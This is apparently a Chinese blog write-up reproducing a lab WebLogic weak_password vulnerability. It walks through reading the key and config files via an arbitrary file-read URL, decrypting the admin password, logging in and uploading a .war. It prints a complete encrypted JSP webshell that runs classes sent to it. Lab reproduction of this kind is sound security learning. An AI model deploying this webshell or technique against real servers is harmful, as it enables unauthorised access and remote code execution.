Weblogic(weak_password)任意文件读取、口令破解、文件上传 漏洞复现

Weblogic(weak_password)任意文件读取、口令破解、文件上传 漏洞复现

漏洞形成原因

  • 本环境存在 任意文件读取漏洞,可利用此漏洞配合解密工具得到登陆密码
  • 登录后台后存在上传点,可上传一句话拿shell

漏洞如何利用

  • 任意文件读取
http://172.16.2.174:7001/hello/file.jsp?path= #接文件路径
  • 上传一句话拿shell

漏洞复现过程

  • Kali docker 容器中启动此漏洞环境
    在这里插入图片描述

任意文件读取

  • weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;
  • 这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml;
  • SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,这就是密钥,右键copy to file就可以保存成一个文件:
172.16.2.174:7001/hello/file.jsp?path=security/SerializedSystemIni.dat

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

  • 再抓取 config.xml 的包,找到加密后的管理员密码:
172.16.2.174:7001/hello/file.jsp?path=config/config.xml

在这里插入图片描述

解密

在这里插入图片描述
在这里插入图片描述

  • 访问 172.16.2.174:7001/console/login/LoginForm.jsp 账号输入:weblogic ,密码是上面的解密密码,注意O的大小写。

  • 登录后点击左边的 部署
    在这里插入图片描述

  • 点击下面的安装
    在这里插入图片描述

  • 点击上载文件
    在这里插入图片描述
    在这里插入图片描述

  • 上传的文件是 .war文件,可将一句话写在 666.jsp 中,再将 666.jsp 压缩成 666.zip ,再将666.zip改名为 666.war。

  • 一句话木马如下,密码为 pass

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值